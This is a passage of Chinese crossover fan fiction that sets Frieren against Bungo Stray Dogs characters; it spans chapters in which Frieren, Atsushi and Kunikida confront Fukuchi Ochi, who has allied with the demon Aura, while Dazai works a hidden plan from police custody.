芙莉莲察觉到了德拉特的想法,空气中瞬时涌现出数目可观的法阵,一束又一束激光从中射出,密密麻麻,如蜂巢出动。
德拉特躲闪不及,被其中一束穿心而过。
他的身体被贯穿的地方出现一个泛黑的大洞,鲜血喷溅而出,他的身体,从穿心的地方开始分解,以伤出为圆心往外扩散,在阳光之下一点点溶解,一点点散去,化作魔力粒子。
啪嗒。德拉特的身体向后倒去,一颗剔透的水晶从他衣服口袋里滑出,掉落在地上,还没等众人反应过来,一道视频便在空气中展开——原来这是个录像装置。
生着双角的粉发少女随意地翘着腿,高坐在港口Mafia首领办公室的椅子上,脸上挂着漫不经心的笑,一只手懒洋洋地抵着下巴,另一只手拎着小巧的黄铜制天平。
一旁,穿着黑衣的森鸥外和他的异能力爱丽丝都面无表情地站在她旁边,充当起护卫的角色。
“人类……我记得你,福地,啊,福地樱痴,”阿乌拉伸出一根手指,轻轻点了点天平一侧托盘,整个天平便摇晃起来,她慵懒地抬眼,看向一旁站着的一字胡中年男人,言语戏谑,“是该叫你【猎犬】的队长,还是【天人五衰】的领导者——【神威】?”
18.国木田
“啊,”福地樱痴不置可否,他忽然笑起来,无形的紧张氛围被他爽朗的声线打破:“没必要这么警惕吧?”
阿乌拉耸耸肩,把天平放到桌子上,不过手并没有从上面挪开:“不愿意现在承认那就不承认呗,不过,虽然看起来我们都掌控着彼此的信息,但如果我没有记错的话,这还是我们的第一次见面吧……忽然来找,是有何贵干?”
“当然是为了谈谈合作的事。”福地依旧保持着无害的样子,他披着斗篷,双手抱胸,姿态随意。
“合作?我可不认为我们有合作的必要。”阿乌拉眼底划过一丝不屑的嘲讽,又收回了目光,把玩起自己的小天平。
这时,大门被无声地打开,一个身姿僵硬,黑衣打扮的Mafia推着推车进来,将车上盖着的食物端盘送上,安放完毕,又带着空餐车退下,全程没有发出一点声音。
一旁侍立的森鸥外上前一步,为阿乌拉将盖子拿起,露出了里面食物的模样。
是血淋淋的肉与突出的白骨,手掌,胳膊,小腿,都被分门别类地精心摆放在餐盘里。
阿乌拉享受地深吸一口气,在美味的影响下,她的心情都好起来不少,也有了谈兴。
于是她将双手交叠,好整以暇地重新望向福地,偏灰的蓝紫色瞳孔里是兽性的冷漠,微微歪头,发丝垂落。
“毕竟,食物和猎人谈合作,这真是个荒谬的提议,不是么?”
这种和人类的过家家,只有“黄金乡马哈特”会感兴趣吧……不,上次琉格纳参加过“和谈”,如果和利益挂钩,想必他也应该会有点耐心吧。
阿乌拉说完,便漫不经心地把手放下,挪向一旁的餐具了。
“是啊,一开始也觉得合作会是件天方夜谭的事,不过——不久前,似乎有一位白发的精灵出现在了横滨。”福地淡淡说着,仿佛只是随意提及。
闻言,阿乌拉举起刀叉的手微微一顿,心底升腾起一股子熟悉的微妙感,她僵硬地抬头,卡得和老式磁带似的:“谁?”
“不知道,但没准是和你们类似的,不是么?”福地话里带笑,意有所指。
“……”
“好,”阿乌拉一咬牙,“合作是吧,我答应了。”
她的同意只是为了保险,作为已经有强大力量的大魔族,她才不会怕芙莉莲打过来。
而且是不是芙莉莲也还不确定不是么……应该。
阿乌拉这样不爽地想。
……
视频到这里就结束了,在场陷入一片寂静。
是大仓烨子的发作打破了这片安静。
“魔族……你们居然吃人?队长怎么会和你们这般垃圾合作?”她认出了视频里肉类的来源,眼里愤怒升腾,“你们蒙骗了他?!”
“哈,福地樱痴居然没告诉你们么……”德拉特倒在泥地里,泥水污染了他的半张脸,另外半张已经被分解,而此刻,他全身的支离还在继续。
但他似乎一点也感觉不到疼痛,面对大仓烨子不可置信的指责,德拉特只是冷淡地摇摇头:“他一直是自愿的,虽然他的梦想听起来就很无厘头,消灭人以拯救人。”
“可悲的你,在心里为他虚构出了一个伟大形象,却并不知道他真正的模样。”
“胡说!”大仓烨子彻底暴走了,“你在胡说些什么?!”
福地樱痴是她的逆鳞。
几乎没有丝毫犹豫,她就转身离开。
“你要上哪去?”芙莉莲忽然发问。
“我会去找队长问个清楚。”大仓烨子转过头去,很是执拗,“还有……抱歉。”
如果不是为了公正,不是为了道义,那她现在的作为和助纣为虐有什么区别?证据就摆在面前,即使她再不愿意怀疑队长,也必须要去问个清楚。
望着幼女远去的背影,芙莉莲扭头叫住中岛敦:“继续往前吧。”
“是!”
踏入门扉,阴暗的气息便扑面而来,他们小心翼翼,贴着墙壁前行,作为港口Mafia的总部,这里难免是会藏着些摄像头或者暗中警戒用的武器,总之,小心点是没错的。
“芙莉莲小姐?”中岛敦面对从布偶变成人的芙莉莲,犹豫了半晌,他迟疑地开口。
“嗯?”
“你的身体真的没问题么,之前有看到伤口崩裂之类。”
“当然,”芙莉莲垂眸,摩挲着重新戴起的银戒指,“状态甚至还好了不少。”
“那、那就好。”中岛
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敦松了一口气,庆幸道。
都是为了救他,芙莉莲才遭受到大仓烨子一击。
在那一个瞬间,看着同伴倒下而自己却无能为力,愧疚感几乎要淹没了中岛敦。
没事真是太好了。
他们一直维持着这种轻松的氛围,直到,前面出现了一个不知名的黑影。
中岛敦伸出一只手拦住芙莉莲,下意识挡在她面前,一双虎目戒备着。
对面的人手里似乎有枪。
老虎的纹路再次覆上中岛敦的双颊,有力的长尾巴长了出来。
嗒,嗒嗒。来人走近了,眼镜反着光。
“欸,国木田先生,怎么是你?!”
中岛敦不敢相信自己的眼睛,整个人放松下来,他很高兴:“太好了,你没事!”
和他们面对面的国木田显然也很惊讶。
“啊,没想到能在这遇到,敦君,”国木田忽然注意到中岛敦身后有人,他看了眼,有些迟疑,“还有……嗯,你后面的是——是委托人吗?”
“是的是的,芙莉莲小姐恢复了原来的体型。”中岛敦点点头,同时忙不迭询问国木田情况,“国木田先生这一路有遭遇到什么么?”
“啊,”国木田想了想,“我一开始是打算去捞太宰治,结果发现他在被押送去监/狱的路上了,不知道是个什么情况,其他人也在想办法逮捕我们侦探社。”
“然后他们发现了我,发生了一场追逐战……”
咻咻咻——
子弹破空的声音。
居然连枪械也不加限制,这是发生了什么?
国木田一边跑,一边苦恼地皱起眉。
这么下去不是办法,而且一直被动,很快就会被抓住吧。
可是他又不愿意动用自己的异能力去幻化出手/枪反射回去,因为这会造成城市混乱和伤亡。
恰好,就在这危机关头,有风卷着一张报纸经过,他赶紧用手一抓,同时拐进一条阴暗的小巷。
后面追兵还死咬着不放,缠得死紧。
国木田继续奔跑,在尽头停下,他抬头,前面是一堵厚厚的墙——死路。
“上啊,别让犯人跑了。”
身后是大声的呼喊。
19.下次还敢
几乎没多想哪怕一秒,国木田便从怀里掏出了本子和笔。
借因为先前的火力,损坏掉落在地面上的碎石障碍,国木田腿部发力,猛得蹬地而起,躲开到来的攻击。
冷厉风吹到着他的头发,剐蹭着他的脸颊,刺得人生疼,但国木田独步并不在意。
他顺势在空中写下【钩索】二字。
【独步吟客】随即发动,代表着异能力的文字光圈一闪一闪,咔哒,组装合并的声音,国木田的手腕上出现了他想要的装备。
他伸手一按,只听得“咻咔”短促一声,绑着丝绳的银钩被发射出去,固定在墙面的顶端,国木田用力往后拉拽,确认没有松动,便借由着作用力,牵带着身体向上,最后是一个翻身,成功立在了墙头之上,枪/声也在此刻停止了。
很快,凌乱的脚步声响起,大地也震动,人数估计不少。
果然,很快墙下便聚集了一大帮人,黑压压的像大片大片的乌云,又似大群大群的黄蜂。
他们一个个的,都穿着完备精良的武装,防护和进攻两方面上都下了血本,对围剿这件事看起来颇为慎重。其中不乏熟人面孔,每个人情绪都很复杂,但目光全整齐划一地投向了国木田独步。
“国木田君,和我们回去吧,回去自首,”为首的那个是曾经和国木田他们共事过的一位警官,他仰着头,沉声道,“毕竟我们也曾经有过合作愉快的时候,大家也都不想诉诸武力。”
“什么自首,我什么时候犯过……”国木田困惑地拧眉,但是下一刻,脑海里涌出不知道哪里来的犯/罪回忆,他顿了一下,又把话咽了回去。
奇怪,我明明并没有做过这种事,那个点我不是在鹤见川捞太宰吗?
“他们可是【天人五衰】的成员,手下死去的性命不知凡几,怎么会轻易承认罪行,一下子被嘴皮子说动去自首?”见国木田愣在原地,久久不答话,警官身后终于有人等得不耐烦了,直接嘲讽出声,引来一阵共鸣。
警官顿了顿,他闭上眼睛,无力而沉重地叹了口气,再次睁开眼时所有动摇已经被坚定覆盖,他抬起手,用力一挥。
“动手。”
数把枪/支抬起,火光迸发。
子弹擦着国木田脸颊而过,刮出深刻的血痕,他本来还想再解释什么,但历经各类事件培养出的危险本能嗡嗡响起,国木田的身体自发地动了起来,翻身躲过伤害。
这都是什么事啊。
“【独步吟客】!”
写着【闪/光/弹】的纸页化作实物,国木田望身后掷去。
轰——
在爆炸般刺眼的白光和追兵的怒骂声中,国木田攥着报纸奔逃。
过了许久,也许是来到了郊外,他勉强甩开追兵,暂时找到一处废弃施工地来打掩护。
国木田藏在那,借着一块碎裂的支柱遮挡,蹲坐下来,抬手抹去面上因为仓促逃亡而沾上的脏污,然后推了推眼睛架,将被他攥得皱巴巴的报纸放到地上,展开,用手指铺平。
下一秒,在国木田终于看清楚了上头写着什么的时候,他的瞳孔下意识地震惊地放大,手也无意识用力,攥得指节泛白,也让报纸上又多了出来好几抹新的深折痕。
“怎么会?”国木田不可置信。
报纸的头版用最大的篇幅展示武装侦探社,极尽挖苦之能,满页的讽刺与厌恶,恐惧与批判。
武装侦探社是犯罪组织,上面这样定下了结论,配上犹如铁证的图片。
“不可能……”在看到报纸的那一刻,国木田感受到脑海里多出了好些记忆,不可能存在的犯/罪记忆。
像是有谁在背后操弄着一切。
是谁的异能力吗?可是又是谁的异能力能够改变人的潜意识呢,这样也太可怕了……
国木田倏地站起,不行,他绝对不能坐以待毙。
他决定先去晚香堂,它在地铁废弃岔路的深处,可攻可守,在侦探社成立之前,一直是以那里为据点的。
确认了目的地,国木田便立刻行动起来,跑了出去。
但他没有注意到的是,在他离开时的身后,一只三花猫迈步而出,端坐在国木田先前待过的地方,颇为严肃地舔了舔爪子。
……
到底应该怎么顺利逃过排查,前往废弃地铁所在地呢?这里离晚香堂可有不小的一段距离……国木田半蹲着,手里拿着上了膛的手/枪。
借着墙壁的掩护,他往外观察。
附近只有一辆普通轿车停靠着。
如果劫车的话,或许能快点抵达吧,但……算了,特殊情况。国木田一咬牙,走上前去。
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他来到车前方,敲了敲车窗。
“什么事?”司机不耐烦地摇下车窗,但是在看到国木田的下一刻眼睛便瞪大了,显然他已经认出来了国木田的身份,“你,你是——”
“你应该有办保险吧?”
司机下意识点点头。
“抱歉,得罪了。”
国木田一把拉动车门把手。
出乎意料的是,司机居然没有反抗,车门就这么配合地被轻易打开了。
在车门被打开的那一瞬间,银色的光芒趁机袭来,国木田一个侧身躲过司机的偷袭,反手将他摁押住,哐当,他的偷袭工具掉落在地上,发出清脆的响声。
国木田定睛一看,原来是一副银手镯。
“嗨,国木田君~”车后座传来熟悉的戏谑声,“没想到有生之年居然能看到你袭击便/衣/警/察呀。”
原来是太宰治。
国木田往里头看去,只见黑发的青年懒散地靠在后座的座椅上,见国木田看过来,还快乐地挥了挥被手铐束缚着的双手。
“混蛋,你怎么乱跑到被抓起来的?!”
“现在可不是谈论这种问题的时候吧,啊,他来了。”
“谁?”国木田一阵纳罕,没有注意到有一道高大阴影无声无息出现在他身后,打落下的投影覆盖了他整个身体。
沙包大的拳头像匕首般捅了过来,挥动时还带着不小的风劲。
不过,好在国木田本人有足够的警惕心,他一个滚身避开了致命的拳击,拳头把车玻璃都砸得产生了破碎的裂纹,虽然这是防弹玻璃,但它还是吃不消,摇摇欲坠,仿佛下一秒就要破出一个大洞来。
国木田转过身,对上一双充满杀气的眼神和再次挥舞过来的拳头。
“负责护送这种事一般都是两个人吧,国木田君可真是……”里头的太宰治还在说风凉话,“就这一辆车停在这里,肯定是有人有急事暂时出去了嘛,但是还留一个专门看守,明明这么都这么像诱饵了,国木田君居然还会上当,哎哎……”
“闭嘴,绷带制造机!”国木田一边挡着攻势,一边大喊。
他还没有被对面攻击打倒,就要先被自己的搭档气倒了。
太宰治无辜地摇了摇被拷在一块的双手,满脸写着几个大字——我错了,但是我下次还敢。
20.不会倒下
在对面就要拔出腰间别着的武器之前,国木田独步终于开始了反击。
他一个俯身下蹲,再将长腿腿一横,成功一记扫堂腿。对面底盘不稳,很快就被绊了个踉跄。
还没等来人稳住身形,国木田迅速地直起身。这位曾经的数学老师拿手里的枪托向下砸,把对手击晕。
全程动作干净利落,没有一丝多余的操作。
当然,这远不是国木田独步的真实格斗实力。
因为其实按照他的身手,这场小战斗完全可以更快些解决的,可他还是僵持了这么久——
“国木田君好慢啊,明明就是手头来上一枪的事。”太宰治依旧在看热闹,轻飘飘地把这一点点了出来。
国木田脑袋顿时青筋直跳,他深吸一口气,努力克制自己。
可是太宰治还在他耳边喋喋不休地挑衅。
终于……
“你这个大麻烦,所有人的生命都是宝贵的,你给我好好重视性命啊!”他双手掐上太宰治脖子,大力摇晃。
和太宰治搭档以后就完全没办法彻底控制情绪了。
太宰治像纸片一样轻飘飘随着国木田的动作晃荡,他就像是习惯了般完全不挣扎,或者说,单纯懒得动:“咳咳咳。”
看见太宰治这一副我好虚弱,好窒息,马上就凉的姿态,善良的国木田忽然想起这家伙还被押送,说不定路上受了什么身体虚弱着,于是下意识松开手。
“欸,国木田君这次力道居然这么小,不会是在同情我吧,咦惹,好恶心。”
国木田独步怒气值再次飙升。
好在太宰治及时转移了话题,才可以导致下一轮搭档单方面互殴出现。
“本来这辆车是打算先集合,再换警/车的,结果这么久都没消息地失联了,他们察觉到不对,应该马上就会追上来了哦。”太宰治事不关己般轻飘飘道。
国木田眉毛皱起,他钻进了驾驶座,将门一关,车子启动。
在行驶的路上,太宰治侧着脸,望向窗外快速驶过的景色。
“是要去晚香堂吗?”他忽然冷不零丁开口问道。
“嗯,有什么不对吗?”
虽然太宰治总是在撩老虎须,经常戏弄国木田,通过破坏他计划之类惹他生气,但是国木田对太宰治的本领还是很信赖的。
太宰治轻笑一声。
“那可真是——”
“太不对了!”他把拷着的手举到胸前,恰时,车子的轮胎压过凹凸不平的石块,他也随着车子自身的震动摇摆起身子。
国木田:?
哐当——车子忽然剧烈晃动起来,国木田和太宰治一齐回头,警车报警般的巨响聚拢在他们车子的后头。
原来是追兵察觉到异样,快速出动了。
数辆警车跟在他们身后,追得死紧,一点一点地在拉近距离。
“坦白从宽,抗拒从严。”
追在他们后面的警车中最前面的一辆,车窗被缓缓打开,副驾驶座上,一只手拿着个大喇叭伸了出来,循环播报着类似上面的话。
国木田当然听到了,但他可不认为被抓到能有什么好果子吃——毕竟连记忆都已经被修改了,绝不可能就这么轻易放过他们。
于是,国木田右脚用力一踩,把油门摁到最大,车速陡然提升,把后头甩了一大截。
后方追击人员见前面不但不停车,还格外嚣张地提快了速度,一看就是不打算悔过的架势,眉头一皱,立马收起了喇叭,猛踩一脚油门,全力加速起来。
同时,枪/械的火力也冒出了头,无数子/弹射了出来。
要不是国木田驾驶的这辆车是防弹设计,估计他们就要连人带车被打得到处都是窟窿了。
“太宰,我记得你不是会开锁的么……现在手铐能解吗?”国木田一边开车一边问。
太宰治闻言,也不作答,只是噗嗤地笑出了声。
看着国木田越来越沉的黑脸,他才不慌不忙动作起来,一打响指,手铐应声而落。
“当然会了。”
不过,就好像只是为了演示给国木田看一下下般,很快,太宰治弯下腰,把手铐拿起。
他重新将这个玩意拷在双手上。咔哒,又给自己锁上了。
国木田脑袋忍不住冒井字,他合理怀疑太宰治是故意的。
“啊,国木田,”太宰治假装没有留意他的怒气,百无聊赖又毫无形象地瘫靠着后座椅背,“把我放下来吧,说不准还能拖他们一段时间。”
国木田眉毛打结得都快能夹死苍蝇了。
“你在开什么玩笑?”
“我是认真的。”
太宰治难得正经地对着国木田说,一贯带着轻飘飘微笑的脸变得很郑重,再次重申。
“放我下车吧,我不会有事的。”
“放心。”
国木田沉默了一下,看来太宰治有自己的安排。
半晌他开口问道:“你接下来打算怎么做?”
太宰治只是随意地摆摆手:“我?我已经做过了。”
国木田头也没有回:“那等到了转弯的地方,我就把你甩下去。”
“欸,这么残酷的吗?好痛心。”
“闭嘴,你就配狗啃泥!”
到了拐弯点,国木田一个急刹车,太宰治因为没有系安全带,直接一个踉跄往前扑,不过还好最后自己稳住了,不然铁定要被座椅撞出一个大包。
“粗鲁的停车方式。”太宰治指指点点,默默蛐蛐。
国木田可不惯着他,没好气地道:“自己开门下去,待会他们就要追过来了,我可不想被你连累到一块被抓。”
嘁,刀子嘴豆腐心。
太宰治耸耸肩,自己打开车门,走到街道正中心,站在那里。
后面追赶的警车,看到这一幕,似有所感,全都下意识开始减速,最后停了下来,停在太宰治面前,黑压压一大片。
“对了,”在离开前,重新回归被捕怀抱前,太宰治忽然回过头,他冲着自己在侦探社的搭档说,“你该去港口Mafia总部,国木田。”
然后,他便一脸平静地往警车的方向走过去,在雷鸣的警报和不停闪烁的警示红光中
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,太宰治从容不迫地打开最前边那辆警车的后车门,坐了进去,都不需要别人过来押着。
国木田适时发动起车子,冲刺般加速离开。
……
“真是奇了怪了,第一次见这样的犯人——明明都已经逃了有一会了,最后居然还是主动过来。”坐在副驾驶座的警官通过后视镜瞥了眼后座优哉游哉闭着双眼的太宰治。
“帮同犯争取时间吧。”主驾驶座的警察淡淡道,双手稳稳放在方向盘上。
“话虽这么说,但是,即使是这样也很神奇呢……港口Mafia以前的干部,居然会有这么良心的举动么?”
“诶,等等等等,你,你先别急着发动车子,快看啊,我们车前面是不是有只三花猫?稍等,我把它给抱离开。”
“你这也太耽误时间了。”主驾驶座的警察无奈地揉揉额头。
“应该没关系吧,反正其他人都已经追上去了,而且我们俩只需要负责押送太宰治嘛,时间也还算充裕……啊,这小猫,怎么还不离开啊?”
警官又一次开门下车,决定把它抱得更远点,结果猫咪趁他不注意,躲过他的双手,一溜烟钻进了车里。
“等一下等一下等一下!”
警车里顿时乱成一团。
猫咪在车里到处乱窜,两个警察一起上阵都逮不住它。
最后,他们俩选择了放弃。
猫咪爱留不留,先处理任务吧。
三花猫见他们累得不再理会它,慢慢悠悠跳上后座的椅子上,和太宰治并排着蹲坐。
“小咪,不,猫咪老师,可真是神威啊。”
太宰治伸出手,想摸摸它,却被春野小姐养着的这只猫给躲开了。
摸不到猫,太宰治的手悬空在那里,但他居然没有生气,他凑到猫咪耳边,小声说了句什么,猫咪就不动了。
“侦探社的猫?难怪不肯走,是认出主人了吧……”始终留意后方情况,高度警惕的警官当然听到了他们之间的互动,他终于懂了,“一下子逃亡没有在意上家猫,结果宠物自己来找……这种事倒也正常。
“不过,居然能一路找到这里,好聪明的一只小猫。”
后座的太宰治就像是听到了什么笑话,无声地勾起嘴角。
嗯,确实是特别聪明的小猫老师没错,都没有被【书】影响到啊。
很快,押送的车到了警局,他们打开后车门,小咪趁机逃了出去。
“要管它吗?”
“这么灵活,抓不到的吧。”
在两名警官的议论里,三花猫跳到了不远处的树上。
借着葱郁的树叶遮挡,他身上泛起异能文字带的光晕。
一个穿着英伦风服装的男人,出现在猫咪之前站着的地方,他头戴一顶黑帽,棕黄色刘海遮着一边眼睛。
他正是大名鼎鼎的夏目漱石——传说中的异能者,也是福泽谕吉的老师。
这位老人家此刻敛下了眉眼,他正思考着太宰治刚刚在他耳边低声说出的话——
“老师,放心吧,你的三刻构想可不会就此倒下。”
21.敦,做得很好
……
听完国木田的讲述,中岛敦非常震惊。
“太宰先生原来早有安排啊。”
国木田点点头:“在我来这边的路上,追兵变少了很多,或许是太宰那个家伙搞的吧……就算不是他直接做的,也至少有掺和过。”
“这样……”
中岛敦还想和国木田再交流交流,结果一道沉重的脚步声打断了他们的对话。
大家一起往声源处看去。
一个高大的身影出现在甬道的尽头,一步步走近,步子慢而沉重。
在昏暗的灯光下,他的脸慢慢显现出来,一张熟悉的面庞,一字胡的外表正义凛然。
正是前不久中岛敦和芙莉莲在视频里见到过的福地樱痴。
他既是霓虹政府异能特种部队【猎犬】的队长,也是疑似犯罪组织【天人五衰】的真正首领。
在看到他的一瞬间,中岛敦立刻警惕起来,身体也再次紧绷,异能力蓄势待发,但是这缓慢攀升的气势很快就被国木田给打断了。
“啊,原来是福地前辈。”
看到了来人,国木田稍微松了口气,这模样很明显两人是认识的。
“哈哈哈,是小国木田啊。”福地笑眯眯地走近,但比较注重社交距离地站在离他们不近也不远的地方。
中岛敦左看看国木田独步,右看看福地樱痴,满眼都写着震惊和无措——这明明是反派大boss,国木田前辈你怎么会这样,不要被敌人的糖衣炮/弹迷惑了哇!
而一旁,并不知道【猎犬】也参与了追杀,国木田在看到中岛敦面上的不解时主动开口解释。
“福地前辈和社长是战友关系,很要好的生死之交。”他顿了顿,又加了个形容,“能够互相托付后背的那种。”
啊,原来如此……不对,等等,什么啊,居然和社长是挚友么?!原本中岛敦还半保持着警惕呢,结果被这么一出给彻底惊到了。
因为完全不知道这岔子事,他直接一个风中凌乱——如果真是这样,那为什么要选择对付武装侦探社的方法呢?
就在三人“愉快”交谈时,一旁芙莉莲察觉到不对劲,她动了动耳朵。
格拉格拉的声音,锯子在锯木头般。
奇怪,有点像空间扭曲变动的前兆。
之前就是那因为空间裂隙,芙莉莲一行人才来到这个世界,所以她也特别关注这一块。
果然,下一刻,惨白的刀光从芙莉莲身后劈了过来,芙莉莲反身躲过。
铮——刀锋将地面劈出了深邃的裂痕,石块碎裂如水珠飞溅。
和福地“畅谈”的两人立刻意识到了不对,他们齐齐后退闪避到安全处,并把目光投落在福地身上。
“福地前辈,”国木田当然认出来了那是福地樱痴的爱刀,他沉声道,“难道你也想成为我们的敌人么?
“哈哈哈,”福地樱痴发出他标志性的爽朗笑声,有些惋惜,“本来,我也不想与你们为敌啊,熟人刀戈相见,未免怅然。”
“但是——”
福地张开手臂,锋利的神兵回到他的手中。
“我不能公私不分,”他的措辞铿锵有力,眼里口中全是正义,“罪恶是必须要被除去的。”
闻言,国木田怔愣了愣,他依旧不能习惯侦探社变成罪人这回事。
好在中岛敦及时上前了一步,这上前的一大步,几乎要怼到福地樱痴面前。
“真是虚伪啊……你明明自己心里清楚,”他果断打断了国木田的感伤,大声地将福地的真面目揭露,“你自己就是真正的罪魁祸首,甩锅给我们的【天人五衰】首领神威。”
“你和阿乌拉的交易都被记录下来了,你才应该是要上军/事/法/庭的那一个!”
什么?这回轮到国木田开始震惊了,但他到底是可靠的成年人,没有把这份讶然显现在脸上。
气氛顿时陷入诡异的寂静当中,紧张的气息悄然弥漫。
半晌,福地樱痴突兀地再次笑起来,但是这一次却不再是那种开朗的感觉了,而是冷淡的残酷的,森冷到极致。
当他笑尽兴了,便沉了面容。
“原来已经知道了这么多了啊,本来只是想除掉芙莉莲的,看来现在都留不得了。”福地樱痴喃喃道,他抬起眼眸,失去笑容的脸冰冷得可怕。
刀剑发出嗡鸣,渴望着饮血。
【镜狮子】发动,他手中的武器威力陡增。
本就可以跨越空间与时间数厘米的【神刀·雨御前】,现在强化到能够跨越数米。
在这片狭小的天地里,它近乎无敌,而它的主人自然也立于不败之地。
锐利的兵刃朝国木田斩了过来,气势汹汹。
速度快得惊人。
几乎没有多想,中岛敦立刻冲了过去,他距离国木田最近,想帮忙挡住伤害。
结果,刀剑忽然消失在了中途。
中岛敦睁大了眼睛——它的目标不是国木田先生。
坏了,是声东击西!
下一秒,神刀出现在芙莉莲背后,而中岛敦因为惯性,无法及时过去援助。
上当了!
“小——”心。
芙莉莲不闪不躲,连眼睛都不带眨一下。手心的法杖发出微光,防御魔法瞬间启动,抵住雨御前的进攻。
但雨御前并不甘心就这么一无所获地回去,它使用的力道又重了几分,频繁的刀鸣声愈发尖锐,数个六边形构成的防护屏障也随之震颤。
不好。
芙莉莲意识到不妙,立马侧身闪避。
果然,就过了半分钟,只听得清脆的几声,蜂巢状的魔法片块便因为承受不住而裂开,格拉格拉地化作粉末。
神刀当真是神刀。
即使芙莉莲已经预感到不妙,躲闪得很及时,锋芒毕露的神刀还是刺穿了她的左肩,鲜血染红了白衣。
防御魔法居然被蛮力击碎了。
芙莉莲后退几步,她凝眉,头顶巨剑的虚影无声地闪烁了好几下。
不,还不行,现在还远不是时候。
芙莉莲压下了想法,虚影消失。
她继续抵御着越战越勇的雨御前,且战且退,每一回的防御魔法都被破开,只是防守没有反击。
最后,她横过法杖,将防护的魔法层层叠加在一处。
能破开一层,那就多加一层,破到破不开为止。
终于,芙莉莲成功卡住无休无止纠缠着的雨御前,然后用力一挥,神刀被弹开。
雨御前又回到了它主人的手里。
“异世界的魔法使,果然不能轻易小看啊。”福地樱痴感慨地抚摸着自己的刀。
雨御前震颤着警告,他眼底忽然闪现出未来时刻自己被魔法光束洞穿的画面。
于是福地樱痴立刻躲闪开来。
果然,下一秒,巨型白色光芒出现,一瞬间洞穿了墙壁。如果他不躲开,那么那道光束就要打在他身体上了。
“预支未来,这也是你的异能力吗?”芙莉莲同步困惑发声,不过,在仔细观察了雨御前和福地樱痴
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几秒后,她又自己把这想法否决了,“不对,这似乎是你的刀的异能。”
“就像上次和敦说的一样,异能力果然很神奇啊。”
在这般危险的现场,精灵却能淡然地发出这样的感叹。
“啊,没错没错,能看出来也是很不错的眼力了。”福地樱痴爽朗大笑几声,先前那个和蔼的前辈似乎又回来了。
居然还聊起天来了么……明明关系那么紧张,对对方也都是直接杀招去的。
“虽说阿乌拉是想让我抓活的,但我的判断果然没有错,不往死里出手会很难搞啊。”他抱怨着。
福地樱痴边这样说着,边迈步向前。忠诚的刀剑回归到他的手中。
他伸手,刀刃尖端冷不零丁地从四面八方试探着冒出。
速度很快,几乎要化作残影,不断变换着位置。
芙莉莲挥动着法杖,在刀刃即将接触肉/体的瞬间启用多个防御魔法。
六边形的厚重光幕闪烁,乒乒乓乓之声不绝于耳。
但雨御前的攻击到底还是太频繁了,而且它主人福地樱痴的近战技巧也十分强悍。
即使被福地樱痴握在手中,它的刀刃依旧能够无视这短短的距离达成突袭的效果。
因此,芙莉莲只能小心闪避躲过他的靠近,时不时防范雨御前的偷袭,体内的魔力被飞速消耗着。
如果不用石板的力量的话,等再见到阿乌拉的时候,没准真的会变成她的傀儡。芙莉莲这样想。
所以说战士是法师的大敌啊。
又一次刀剑的突袭,不能再拖了,每拖延一分钟,其他人就越有几分陷入危险的可能。
于是这一次,中岛敦推了她一把。
“芙莉莲小姐,这里有我们,你快走。”
这回他成功挡下了不知从何方出现的刀锋,手臂被震得酥麻,手腕渗出点点的血渍。
一旁的国木田独步配合着投掷出闪光弹——虽然伤敌一千自损八百,但好歹也算是短暂掩护了行踪。
“乱步先生说过,让我们充当诱饵,配合你解决问题源头。”*
中岛敦喘息着,虎般金黄的瞳孔因为战斗的袭击而收缩成一道细线,他没有回头。
“所以——”
“后面的路,就拜托了。”
“芙莉莲小姐。”
武装侦探社,一开始就是为了发挥侦探的能力而建立的,他们也一直信任着彼此。即使是一句话的安排,没有任何佐证的仓促交待,他们依旧会坚定地执行。
芙莉莲沉默地点点头,这种关头是容不得拖延的,如果犹豫,反而是白白浪费了他们的牺牲,于是精灵魔法使立刻动起身。
“好。”
望着芙莉莲离开的背影,中岛敦笑了,他身后白色的虎尾一甩,与国木田独步一起,拦在福地樱痴和芙莉莲中间,掩护她离开雨御前强化后的攻击范围。
“国木田先生。”
国木田与他背靠背,正在给手/枪上膛,闻言困惑地嗯了一声。
“这次,我可没有给武装侦探社丢脸吧?”中岛敦小声问道。
在最初入社的时候,国木田曾经对他严肃而嫌弃地大喊过——小鬼,记住,不要做给武装侦探社丢脸的事情。
国木田前辈也想起来了,他上膛的手微微一顿。
“敦。”他一枪阻断雨御前的行动轨迹,沉声道,“你一直做得很好。”
“是吗……”中岛敦伸出手,擦去额头残留的血迹,抹去嘴角涌出的鲜红,“那可真是太好了。”
22.人类的意志
“哈哈哈哈哈,真是不错的羁绊。”福地樱痴爽朗地笑道,“那你们,且试一试拦不拦得住我好了。”
……
就在中岛敦和国木田独步艰苦奋战之际,离开的芙莉莲很快便遇到了一个难题——
她不知道首领办公室在哪里。
这是很重要的一点,但大家似乎都认为这是公认的,于是全忘了提及。
嗯,按照常规应该是在顶层吧,可如果首领出于谨慎,多安排几个假地点,自己再藏地下,以防被暗杀,似乎也没毛病……芙莉莲很迟疑。
就在这时,忽然有道稚嫩的声音从侧面一处狭小阴暗的居室里传了出来。
“前面的大姐姐,是要去哪里呢?”
芙莉莲走近,透过门上监牢般的看视口往里看。
这似乎是一间监/禁/室,除去门上装着的这个狱窗外,没有任何一处窗户,里面昏暗得可怕,黑布隆冬根本找不到说话人。
“大姐姐是在找我么?”忽然,一双缠绕着绷带的手扒住了看视口的栏杆。手臂很纤细很惨白,上头紧紧捆扎着绷带的地方还在渗着血。
紧接着,一颗少年的头出现在芙莉莲的视线里。
这是一个小孩子,从身形来看十岁不到(其实早就十岁以上了),没准还发育不良。
一头黑白分色短发,乱糟糟的,好像还有好几处打了络,明明看起来像是好久没被认真照看了,但却笑得很乖巧,异瞳里分别藏着金灿灿星星与圆圈。
他踮着脚,努力让外面的芙莉莲看见自己的模样。
“我在这里,大姐姐。”
“你是谁,为什么会出现在这里?”
“我叫梦野久作。”这个模样很乖很可怜的小孩眨巴着眼,说话时语音里带着哭腔,些微地颤抖着,“这里好冷,好黑。”
“坏人把我关在这里,”边说着,他边示意芙莉莲看他受伤包扎的手臂,边讨好地软下腔调,“我好疼啊,好疼啊,大姐姐。”
“所以能不能帮帮我,久作要出去。”
“要出去找娃娃,久作的娃娃也不见了,那是爸爸妈妈送久作的。”
“久作想爸爸妈妈。”
他苦苦哀求着。
尽管梦野久作把自己说得是那样可怜兮兮,那样值得同情,芙莉莲的面上依旧没有什么动容。
蓝绿色的眼睛上下扫视着他,芙莉莲平静的目光像是要把面前的梦野久作整个人给剖开挖透,最后,她的视线落在他还未愈合的伤口上,他绑满绷带的手臂上。
梦野久作被看得身子忍不住颤了颤,笑容也变得僵硬了——是被发现了吗?
